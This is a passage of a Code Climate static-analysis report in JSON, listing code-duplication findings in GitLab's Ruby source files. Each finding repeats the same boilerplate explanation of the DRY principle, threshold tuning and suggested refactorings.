refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":54,"end":54}},"remediation_points":1110000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":66,"end":66}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 73**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"62cf424fda0f778b3dcc5914fc2096b6","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":66,"end":66}},"remediation_points":1110000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":54,"end":54}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 73**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"62cf424fda0f778b3dcc5914fc2096b6","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/system_hooks.rb","lines":{"begin":24,"end":31}},"remediation_points":550000,"other_locations":[{"path":"lib/api/broadcast_messages.rb","lines":{"begin":66,"end":73}},{"path":"lib/api/pipeline_schedules.rb","lines":{"begin":66,"end":73}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"dc8d377ac78b1e411b24adff2bb25ac8","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/broadcast_messages.rb","lines":{"begin":66,"end":73}},"remediation_points":550000,"other_locations":[{"path":"lib/api/pipeline_schedules.rb","lines":{"begin":66,"end":73}},{"path":"lib/api/system_hooks.rb","lines":{"begin":24,"end":31}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d6ed9adeccc2432c442bb7e3b2de77ca","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/pipeline_schedules.rb","lines":{"begin":66,"end":73}},"remediation_points":550000,"other_locations":[{"path":"lib/api/broadcast_messages.rb","lines":{"begin":66,"end":73}},{"path":"lib/api/system_hooks.rb","lines":{"begin":24,"end":31}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"e53239021b533bc772fd7c38fd9fbf32","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/http_io.rb","lines":{"begin":76,"end":99}},"remediation_points":930000,"other_locations":[{"path":"lib/gitlab/ci/trace/chunked_io.rb","lines":{"begin":69,"end":92}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 64**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"06b83fddd1854f4cbb5ee692f2b3c479","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/ci/trace/chunked_io.rb","lines":{"begin":69,"end":92}},"remediation_points":930000,"other_locations":[{"path":"lib/gitlab/http_io.rb","lines":{"begin":76,"end":99}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 64**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"fa155c048bfa229583a4b14cba8ef368","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/controllers/projects/commits_controller.rb","lines":{"begin":38,"end":49}},"remediation_points":270000,"other_locations":[{"path":"app/controllers/projects/compare_controller.rb","lines":{"begin":47,"end":58}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 31**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"25a210eb00ee75fb3a27aef364105444","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/controllers/projects/compare_controller.rb","lines":{"begin":47,"end":58}},"remediation_points":270000,"other_locations":[{"path":"app/controllers/projects/commits_controller.rb","lines":{"begin":38,"end":49}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 31**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"3331c85dad0745b1770318b847052656","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/clusters/platforms/kubernetes.rb","lines":{"begin":87,"end":91}},"remediation_points":270000,"other_locations":[{"path":"app/models/project_services/kubernetes_service.rb","lines":{"begin":129,"end":133}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 31**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"a485030c77dac9d4720e17783248f6f2","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/project_services/kubernetes_service.rb","lines":{"begin":129,"end":133}},"remediation_points":270000,"other_locations":[{"path":"app/models/clusters/platforms/kubernetes.rb","lines":{"begin":87,"end":91}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 31**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"70c3aa57163e28d9e2b8cf58b891e37a","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/clusters/platforms/kubernetes.rb","lines":{"begin":153,"end":161}},"remediation_points":230000,"other_locations":[{"path":"app/models/project_services/kubernetes_service.rb","lines":{"begin":209,"end":217}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 29**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"c29d81ebf7e5c4008896a514ac05cd90","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/project_services/kubernetes_service.rb","lines":{"begin":209,"end":217}},"remediation_points":230000,"other_locations":[{"path":"app/models/clusters/platforms/kubernetes.rb","lines":{"begin":153,"end":161}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 29**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"562f28dc8f9527c3acb9451bb9905421","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"rubocop/cop/code_reuse/presenter.rb","lines":{"begin":5,"end":36}},"remediation_points":770000,"other_locations":[{"path":"rubocop/cop/code_reuse/serializer.rb","lines":{"begin":5,"end":36}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 56**.\n\nWe set useful threshold defaults for the languages we support but you may 